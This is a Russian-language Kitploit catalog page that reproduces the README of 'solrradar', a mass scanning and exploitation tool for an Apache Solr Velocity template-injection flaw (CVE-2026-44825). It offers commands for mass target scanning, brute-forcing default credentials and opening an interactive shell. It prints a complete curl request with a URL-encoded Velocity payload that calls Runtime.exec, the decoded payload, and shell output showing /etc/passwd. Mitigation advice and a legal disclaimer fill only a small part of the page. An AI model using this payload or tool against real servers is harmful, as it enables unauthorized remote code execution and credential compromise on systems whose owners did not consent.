Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
solrradar — ☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE | Kitploit
Инструменты/GitHubGitHub/shinthink/solrradar
РазведкаСканеры уязвимостейАтаки на ПаролиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubshinthink/solrradar
511 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

solrradar

☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE

Репозиторий
Поделиться

SolrRadar — CVE-2026-44825 Apache Solr Scanner

Python CVE License

Threads Version Brute RCE Shell

Фреймворк массовой разведки и эксплуатации для Apache Solr

Внедрение Velocity-шаблона → Удалённое выполнение кода



📑 Содержание

  • Обзор уязвимости
  • Затронутые версии
  • Возможности
  • Установка
  • Использование
  • Доказательство концепции
  • Техническое погружение
  • Методология обнаружения
  • Защита и смягчение
  • Дисклеймер
  • Ссылки

🔴 Обзор уязвимости

CVE-2026-44825 — это критическая уязвимость в Apache Solr, которая позволяет злоумышленникам добиться неаутентифицированного удалённого выполнения кода (RCE) через внедрение Velocity-шаблона.

Проблема

Параметр wt=velocity конечной точки /select Apache Solr принимает пользовательские Velocity-шаблоны. Если Velocity Response Writer включён (или может быть включён через конфигурационный API), атакующий может внедрить вредоносный шаблон, вызывающий java.lang.Runtime.exec(), выполняя произвольные системные команды с правами процесса Solr.

Влияние

ВекторСерьёзностьВлияние
Неаутентифицированное RCE

Движок Velocity-шаблонов

Apache Solr включает Apache Velocity как опциональный движок шаблонов для рендеринга ответов. Уязвимость кроется в VelocityResponseWriter Solr, который обрабатывает пользовательские параметры шаблонов без должной очистки, что позволяет напрямую вызывать Java reflection API:

root@kitploit:~
Цепочка Java Reflection:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 Затронутые версии

Примечание: Проверки версий выполняются автоматически путём парсинга JSON-ответа /admin/info/system.


✨ Возможности


📦 Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Установка зависимостей
pip install -r requirements.txt

# Проверка
python solr_scanner.py --help

Требования

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Только стандартные библиотеки + requests. Никаких экзотических зависимостей.


📖 Использование

Аргументы командной строки

root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

  -t, --target     URL или IP[:port] одиночной цели
  -f, --file       Файл со списком целей (по одной на строку, # для комментариев)
  --exploit        Авто-эксплуатация, если найдены уязвимые учётные данные
  --rce            Запуск интерактивной оболочки после аутентификации
  -u, --user       Имя пользователя для Basic Auth
  -pw, --password  Пароль для Basic Auth
  -o, --output     Путь к JSON-файлу для вывода      (по умолчанию: solr_results.json)
  -w, --workers    Количество одновременных потоков   (по умолчанию: 30)
  -T, --timeout    Тайм-аут HTTP-запроса (секунды)    (по умолчанию: 8)

Базовое сканирование

root@kitploit:~
# Одиночная цель
python solr_scanner.py -t 192.168.1.100:8983

# Одиночная цель с пользовательским путём
python solr_scanner.py -t http://example.com/solr

# Массовое сканирование из файла
python solr_scanner.py -f targets.txt -o results.json

Формат файла с целями

root@kitploit:~
# targets.txt — поддерживает комментарии и пустые строки
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR не поддерживается; предварительно раскройте внешним инструментом)

Эксплуатация

root@kitploit:~
# Сканирование + авто-эксплуатация, если найдены учётные данные
python solr_scanner.py -f targets.txt --exploit

# Известные учётные данные + интерактивная оболочка
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Авто-брутфорс + оболочка при успехе
python solr_scanner.py -t target:8983 --rce

🧪 Доказательство концепции

Сценарий 1: Обнаружение и определение версии

root@kitploit:~
$ python solr_scanner.py -f targets.txt
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

Цели: 3 | Потоки: 30 | Тайм-аут: 8s
Сканирование...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Коллекции (без аутентификации): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr

Готово. Всего:3 | Solr:3 | Уязвимо:1

Все 3 цели обнаружены. Экземпляр 9.4.1 помечен как уязвимый с включённой Basic Auth.


Сценарий 2: Брутфорс учётных данных

root@kitploit:~
$ python solr_scanner.py -t solr-target.internal
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Коллекции: ['cms', 'users', 'search', 'analytics']

Учётные данные по умолчанию admin:SolrRocks предоставляют доступ к admin API Solr. Обнаружено четыре коллекции.


Сценарий 3: Аутентифицированное RCE через Velocity-инъекцию

root@kitploit:~
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

Полный доступ к интерактивной оболочке с правами Java-процесса Solr.


Сценарий 4: Полезная нагрузка RCE (ручное воспроизведение)

Для исследователей, желающих понять сырой HTTP-обмен:

Шаг 1 — Проверка доступности Solr

root@kitploit:~
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

Шаг 2 — Список доступных коллекций

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

Шаг 3 — Выполнение команды через внедрение Velocity-шаблона

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'

Декодированная полезная нагрузка Velocity-шаблона:

root@kitploit:~
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Ответ:

root@kitploit:~
uid=8983(solr) gid=8983(solr) groups=8983(solr)

🔬 Техническое погружение

Архитектура

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                    SOLRRADAR                         │
├───────────────┬──────────────────────────────────────┤
│  ФАЗА РАЗВЕДКИ│           ФАЗА ЭКСПЛУАТАЦИИ         │
│               │                                      │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │Обнаруж. │──┼──▶ Брутфорс │───▶│ Velocity RCE   │  │
│  │ Solr    │  │  │          │    │ Внедр. шабл.   │  │
│  └────┬────┘  │  └────┬─────┘    └───────┬────────┘  │
│       │       │       │                   │           │
│       ▼       │       ▼                   ▼           │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Проверка│  │  │ Учётные  │    │ Runtime.exec() │  │
│  │ версии  │  │  │ по умолч.│    │ → RCE          │  │
│  └─────────┘  │  └──────────┘    └────────────────┘  │
│               │                                      │
│  ┌─────────┐  │  ┌────────────────────────────────┐  │
│  │ Зонд    │  │  │ Интерактивная оболочка (--rce) │  │
│  │ Auth    │  │  └────────────────────────────────┘  │
│  └─────────┘  │                                      │
└───────────────┴──────────────────────────────────────┘

Диаграмма потока

root@kitploit:~
Целевой URL
    │
    ▼
┌─────────────┐
│ Нормализация │  → добавить http:// + /solr, если отсутствует
└──────┬──────┘
       │
       ▼
┌─────────────┐     Нет
│ GET /admin/ ├──────── Пропустить цель
│ info/system │
└──────┬──────┘
       │ Да (200/401)
       ▼
┌─────────────┐
│ Парсинг JSON│  → извлечь solr-spec-version
│ отпечаток   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ is_vuln()   │  → 9.4–9.10.x или 10.0.0 ?
└──────┬──────┘
       │
       ├── Не уязвим → Отчёт, движение дальше
       │
       ▼ Уязвим
┌─────────────┐
│ Проверка    │  → /admin/cores?action=STATUS
│ аутентиф.(3)│  → /admin/collections?action=LIST
└──────┬──────┘
       │
       ├── Нет auth → Попытка неаутентифицированного вывода
       │
       ▼ Auth обнаружена
┌─────────────┐
│ Брутфорс    │  → 4 пользователя × 8 паролей = 32 попытки
│ учётных     │
└──────┬──────┘
       │
       ├── Нет совпадений → Отчёт об уязвимости (нет учётных данных)
       │
       ▼ Учётные данные найдены
┌─────────────┐
│ Вывод       │  → /admin/collections или /admin/cores
│ коллекций   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ RCE через   │  → POST /{collection}/select
│ Velocity    │  → Velocity-шаблон → Runtime.exec()
└─────────────┘

Почему важен bool(Response[401]) == False

Тонкая ловушка Python, обнаруженная при разработке:

root@kitploit:~
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False          # ← Ответы 4xx/5xx оцениваются как False!

Это означает, что каждая проверка if response and ... молча пропускает ошибочные ответы — даже если вы специально хотите обработать 401. Исправление — всегда использовать if response is not None and ...:

root@kitploit:~
# ❌ Сломано — ответы 401 молча пропускаются
if r and r.status_code == 401:
    auth = True

# ✅ Правильно — явно проверяем на None
if r is not None and r.status_code == 401:
    auth = True

🔍 Методология обнаружения

Сканер использует трёхуровневую стратегию обнаружения для минимизации ложноотрицательных результатов:

Уровень 1 — Анализ содержимого тела

root@kitploit:~
'solr' in response.text.lower()

Обнаруживает Solr в JSON-ключах ("solr_home", "solr-spec-version", "mode":"solrcloud"), HTML-панелях и страницах ошибок — без учёта регистра.

Уровень 2 — Заголовок Server

root@kitploit:~
'solr' in response.headers.get('Server', '').lower()

Некоторые развёртывания включают «Solr» в HTTP-заголовок Server.

Уровень 3 — Многоэтапное зондирование аутентификации

root@kitploit:~
# Этап 1: Проверка кода ответа /admin/info/system
# Этап 2: Зонд /admin/cores?action=STATUS на 401
# Этап 3: Зонд /admin/collections?action=LIST на 401

Обнаруживает развёртывания, где /admin/info/system общедоступен, но административные операции требуют аутентификации.

Определение версии

Два regex-шаблона для надёжности:

root@kitploit:~
VERSION_RE = [
    r'solr-spec-version[^0-9]*([\d.]+)',   # lucene.solr-spec-version
    r'solr-impl-version[^0-9]*([\d.]+)',   # lucene.solr-impl-version
]

🛡️ Защита и смягчение

Если вы используете Apache Solr, примените эти меры защиты немедленно:

1. Обновление (рекомендуется)

root@kitploit:~
# Обновитесь до исправленной версии
# Solr 9.x → 9.10.2 или новее
# Solr 10.x → 10.0.1 или новее

2. Отключение Velocity Response Writer

root@kitploit:~
<!-- В solrconfig.xml — УДАЛИТЬ или ЗАКОММЕНТИРОВАТЬ: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->

3. Включение Basic Auth и файрвола

root@kitploit:~
# Ограничение доступа к admin-эндпоинтам Solr на уровне сети
# Разрешить только доверенным IP-диапазонам доступ к портам 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP

4. Аудит вашей инфраструктуры

root@kitploit:~
# Используйте этот сканер против ВАШЕЙ собственной инфраструктуры
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json

⚠️ Дисклеймер

🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ

Данное программное обеспечение предоставляется исключительно в образовательных целях и для легитимных исследований безопасности. Оно предназначено для использования:

  • 🛡️ Специалистами по безопасности при проведении авторизованных тестов на проникновение
  • 🏢 Организациями, проводящими аудит собственной инфраструктуры Apache Solr
  • 🔬 Исследователями, изучающими техники эксплуатации уязвимостей
  • 🎓 Студентами, изучающими безопасность веб-приложений

❌ Вам НЕ РАЗРЕШАЕТСЯ использовать это программное обеспечение для:

  • Доступа к компьютерным системам без явного письменного разрешения
  • Компрометации, повреждения или нарушения работы систем, которые вам не принадлежат
  • Участия в незаконной деятельности любого рода

⚖️ Правовое уведомление

Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:

  • США: Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. § 1030)
  • Индонезия: UU ITE Статьи 30 и 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Европейский союз: Директива 2013/40/EU
  • Великобритания: Закон о неправомерном использовании компьютеров 1990 года

Автор(ы) НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несёте единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.


📚 Ссылки


⚡ Создано с точностью для сообщества исследователей безопасности ⚡

Apache® и Apache Solr® являются зарегистрированными товарными знаками Apache Software Foundation.
Этот проект не аффилирован с Apache Software Foundation и не одобрен ею.

Скачать инструмент
9.8 (Критический)
Полная компрометация системы
Аутентифицированное RCE8.8 (Высокий)Выполнение кода после аутентификации
Раскрытие информации5.3 (Средний)Перечисление ядер/коллекций
Версия Apache SolrСтатусПримечания
9.4.0 – 9.10.1🔴 УязвимаАктивная эксплуатация в дикой природе
10.0.0🔴 УязвимаЗатронут начальный релиз 10.x
10.0.1+🟢 ИсправленаИсправление перенесено
9.10.2+🟢 ИсправленаДоступен патч-релиз
≤ 9.3.x🟢 Не затронутаVelocity Response Writer отсутствует
8.x (все)🟢 Не затронутаНет поддержки Velocity

🔍 Разведка

  • Многоцелевое сканирование — 30 одновременных потоков, настраивается
  • Определение версии — точное извлечение версии Solr и Lucene
  • Двухрежимное обнаружение — SolrCloud + Standalone (один узел)
  • Зондирование с учётом аутентификации — проверка 3 admin-эндпоинтов на Basic Auth
  • Перечисление коллекций — вывод коллекций/ядер без аутентификации, когда это возможно

💀 Эксплуатация

  • Брутфорс учётных данных — встроенный словарь стандартных учётных данных Solr
  • Velocity RCE — внедрение шаблона через java.lang.Runtime.exec()
  • Интерактивная оболочка — псевдотерминал для пост-эксплуатационных команд
  • Цепочка авто-эксплуатации — обнаружение → брутфорс → RCE одной командой
  • Экспорт в JSON — структурированный вывод для интеграции с другими инструментами
РесурсСсылка
Запись NVDCVE-2026-44825
Безопасность Apache Solrsolr.apache.org/security
Документация Velocity SolrVelocity Response Writer
OWASP Внедрение шаблоновServer-Side Template Injection